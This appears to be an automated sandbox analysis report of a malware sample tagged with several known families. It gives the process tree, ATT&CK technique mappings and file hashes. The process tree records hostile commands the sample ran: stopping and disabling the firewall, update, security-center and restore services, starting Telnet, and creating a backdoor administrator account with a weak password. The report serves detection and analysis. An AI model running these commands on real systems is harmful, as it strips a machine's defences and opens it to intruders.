    C:\Users\Admin\AppData\Local\Temp\2026-07-22_61277f4746df228448405c7c821f958e_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=103.0.5060.114 --initial-client-data=0x2b4,0x2b8,0x2bc,0x294,0x2c0,0x7ff7758cb618,0x7ff7758cb628,0x7ff7758cb638
    3⤵
    - Executes dropped EXE
    PID:3112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --force-first-run
    3⤵
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3692
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffeec4bc728,0x7ffeec4bc734,0x7ffeec4bc740
      4⤵
      PID:2996
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1472,i,10619909267654350440,7259466591300001701,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:11
      4⤵
      System Time Discovery
      PID:2372
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,12483181367395444005,8174397857747171126,262144 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
      4⤵
      PID:2568
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2208,i,4459449484218103885,8904832992356821932,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:13
      4⤵
      PID:888
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3176,i,9047789411610461816,14503240114449108884,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:1
      4⤵
      PID:5200
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3180,i,38863126286339387,15394162632759914558,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:1
      4⤵
      PID:5884
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4572,i,1547231155184781724,2691404124587481916,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=4596 /prefetch:1
      4⤵
      PID:3948
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3880,i,14528860387163648915,8058535175142585665,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:14
      4⤵
      PID:3532
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5360,i,14517793160247948212,923593725819124717,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:14
      4⤵
      PID:4428
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5456,i,2793544372767879187,2373370850726934875,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:1
      4⤵
      PID:4732
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5340,i,411890259415044931,12228603753011721178,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:1
      4⤵
      PID:4596
  - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
      4⤵
      Drops file in Windows directory
      Suspicious use of WriteProcessMemory
      PID:1840
    - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x2a0,0x2a4,0x2a8,0x27c,0x2ac,0x7ff68b4255a0,0x7ff68b4255ac,0x7ff68b4255b8
        5⤵
        Drops file in Windows directory
        
        PID:2368
    - - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --system-level --verbose-logging --installerdata="C:\Program Files\Google\Chrome\Application\initial_preferences" --create-shortcuts=1 --install-level=0
        5⤵
        Drops file in Windows directory
        Suspicious use of WriteProcessMemory
        
        PID:4944
      - C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x290,0x294,0x298,0x26c,0x29c,0x7ff68b4255a0,0x7ff68b4255ac,0x7ff68b4255b8
        6⤵
        Drops file in Windows directory
        
        PID:896
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5448,i,6727087400986818421,4972865903844256263,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:1
      4⤵
      PID:5976
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5772,i,13675388115072954582,8331714886650417213,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:14
      4⤵
      PID:5880
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5740,i,12819070030423433683,17298029371775999398,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:1
      4⤵
      PID:400
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5768,i,12207349299105812075,13170497739491313556,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:14
      4⤵
      PID:1372
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5540,i,16730790551326936303,539781712490640852,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:1
      4⤵
      PID:2468
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5464,i,5025063804092106639,11051103526172809337,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
      4⤵
      PID:2472
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5688,i,14318887141166497891,14935130229240242248,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=6252 /prefetch:14
      4⤵
      PID:1816
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5608,i,1183730566956088192,12042480163957551576,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:1
      4⤵
      PID:3924
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6600,i,15491346269995446973,1828317638691500631,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:1
      4⤵
      PID:1772
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6740,i,14035438376490939864,14188909974412978173,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=4600 /prefetch:1
      4⤵
      PID:1312
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5744,i,14925162248696601937,4438445431303064866,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=6300 /prefetch:14
      4⤵
      PID:4956
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5660,i,7701616049749852031,14372515974615884211,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:14
      4⤵
      PID:2564
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5304,i,17329977659752367066,5796414175537460301,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:1
      4⤵
      PID:5148
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6452,i,13255734036604883651,7810975105330712521,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:9
      4⤵
      PID:2724
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=4704,i,16230963018144639950,7937468023366977314,2097152 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=6400 /prefetch:9
      4⤵
      PID:4976
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6496,i,13620848674029305672,8132284144010797777,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:14
      4⤵
      PID:4604
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6048,i,2407977872361085346,10301696401124470804,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:14
      4⤵
      PID:5976
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6788,i,1664344825289176604,17612463775361490403,524288 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:14
      4⤵
      PID:1288
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4884,i,7248237103200367069,12449839794462538822,262144 --field-trial-handle=1916,i,5061084428811627280,203003612311446225,262144 --variations-seed-version --mojo-platform-channel-handle=4896 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3900
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop sharedaccess
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\SysWOW64\net.exe
    net stop sharedaccess
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2612
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop sharedaccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:5960
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wuauserv
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2496
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:940
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wscsvc
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\SysWOW64\net.exe
    net stop wscsvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1876
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wscsvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1708
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop srservice
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\SysWOW64\net.exe
    net stop srservice
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop srservice
      4⤵
      System Location Discovery: System Language Discovery
      PID:5380
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net start TlntSvr
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\SysWOW64\net.exe
    net start TlntSvr
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start TlntSvr
      4⤵
      System Location Discovery: System Language Discovery
      PID:3960
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user helpassistant 123456
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\SysWOW64\net.exe
    net user helpassistant 123456
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5920
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user helpassistant 123456
      4⤵
      System Location Discovery: System Language Discovery
      PID:1416
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net localgroup administrators helpassistant /add
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:52
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators helpassistant /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators helpassistant /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:1124
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4304
- C:\Windows\SysWOW64\sc.exe
  sc config SharedAccess start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:5932
- C:\Windows\SysWOW64\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:2796
- C:\Windows\SysWOW64\sc.exe
  sc config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:5576
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4968

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4120

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Share Discovery

T1135

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7z.exe

Path C:\Program Files\7-Zip\7z.exe
Size 2.4MB
SHA256 e7bbeec3c6628480526e94b074f34ab2e3498e08ae276e50de634d50d5cd3856
MD5 4acc58c808e84317fd6a36b058695731
SHA1 d81656d1b923bcf71732ff916606dcfc80427bd1
SHA512 46bd4d1b411bbc063d7c0994b4e339c8736f75c53ba8dab6011e889457531192a7622e9ac5d6944d923a3dc7a11eae06489a9b767693d571e430356488dcb37c
SSDEEP 49152:wabH/+tugabH/LtuFI1TabH/btugabH/LtuFI1LPji0Aj:cAAI1sAAI1zjo
TLSH
T120B56B13F664817AD0A3C078A6969157F9313C690770ADCF6380BB293E33BE26779716
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zFM.exe

Path C:\Program Files\7-Zip\7zFM.exe
Size 2.8MB
SHA256 f40815edb3b737bdf46d0b3763dc80891992399d9c53636835b4569b7f72f9e9
MD5 6312c8ec0d2cb6c92bfe1db2a964b9ec
SHA1 ad4390e4f3496a58cc3415bf2a504c9f1d186845
SHA512 929b456fe02039daa97744546b934711a68c3c9964ea3b96efb3eb8b3d59caef6a087cbb856a0f4c3c26ecb29e4fbf14530d660c09f430b74d4daff87b151b67
SSDEEP 49152:wabH/+tugabH/LtuFI1TabH/btugabH/LtuFI1o/ezSC6vUzPvMHjy:cAAI1sAAI1cezSC6v2XMH
TLSH
T184D55C13F6788277D0A2C075D696A556F9313C690730ACCB5380BB293E337E2A77971A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zG.exe

Path C:\Program Files\7-Zip\7zG.exe
Size 2.5MB
SHA256 1e8da281df557f4c757384c1bc7b44226878689fd98b88a9dfbdd4e74bedc27f
MD5 de5be9ce33a6473500b4ee686746ac98
SHA1 796d8f1ff83e8b6b5111d51cb596fb98cbe22038
SHA512 4a673bcbab5e3e4bb9f4220c16d89fb1263a82d6497623f60a83482427b008e0e8faae4797cef3d3e1a1b8948bda9c91ce999cd4a9455267df38a533bff03a9a
SSDEEP 49152:wabH/dtugabH/LtuFI1TabH/btugabH/LtuFI1LVO88hXl+:lAAI1sAAI1I/h1+
TLSH
T1DCC55C23F664817AD0A2C074E6969157F9313C690730ADCF6380BB293E73BD2A779716
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Uninstall.exe

Path C:\Program Files\7-Zip\Uninstall.exe
Size 1.9MB
SHA256 f48b4d50a70a883c71812d8747d7e1f0e103c74b45033e57fff093f300e45dc7
MD5 598b4cd4d3d0e5bee10713ca9dd1a471
SHA1 2df0892bcb836a8dd301f75a2c6ed40efe32de7e
SHA512 dd8a306c1d1fa27e8dec81fe78246dbc4ce86632b10a9d0203ca8de728cc4900fae18b2d0d44c03cacf61b2ef21a2b487c973489cf3b1c4cce911dcb276e4b5c
SSDEEP 49152:wabH/CtugabH/LtuFI1TabH/btugabH/LtuFI1:gAAI1sAAI1
TLSH
T104955A13F654907AE496C0746A669167B9253C790760BCCF63C07B263E32BE277B870B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_pwa_launcher.exe

Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
Size 3.6MB
SHA256 c2022cca6f8dc853b3b9ddd926d387c7eecac3049be5a34833610be1dd173104
MD5 a546fd52f5476169d667ada92a38dd3c
SHA1 fc3f37fc74abf6a4a74cbf1688c9503761d9104e
SHA512 a68a729e5e0eaefee2338e60e87831d670c11a769a62aac312e5874ec7de722b8800c16c08d596efeefc4e32adc0e4017a733486a518e2a1832dfb125dd6fd21
SSDEEP 49152:wabH/mtugabH/LtuFI1TabH/btugabH/LtuFI1+68Qg55nhoeWu7PNU3/Q:UAAI1sAAI1MthHRc/Q
TLSH
T193066C23B2E500A9D44AC075AB569222E5E17C754FB0EBCF938077162F72AD07B7970B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1840_13429173193253463.pma

Path C:\Program Files\Google\Chrome\Application\SetupMetrics\1840_13429173193253463.pma
Size 344B
SHA256 fd668d6edcf6b6cc176edd9bf7b0d7f1881fe2f0d94ebae656127c27a359550e
MD5 1b7cdddfb06152ae01f12d9f253237d6
SHA1 1ef358781a086a0727f4fa95cd53510eb328bc52
SHA512 4705c93b233be92dd2d04649d404b538bc76607bbe655d5e35a739653ac1af776ecdd12ec1cbf81476070ec5bae633f891817155014730a06939efb21bd132ea
TLSH
T159E0A79677648B7BD446CD31457B03523F6AF8501F81176F4740758F1E522D88E06420
MD5 SHA1 SHA512 TLSH

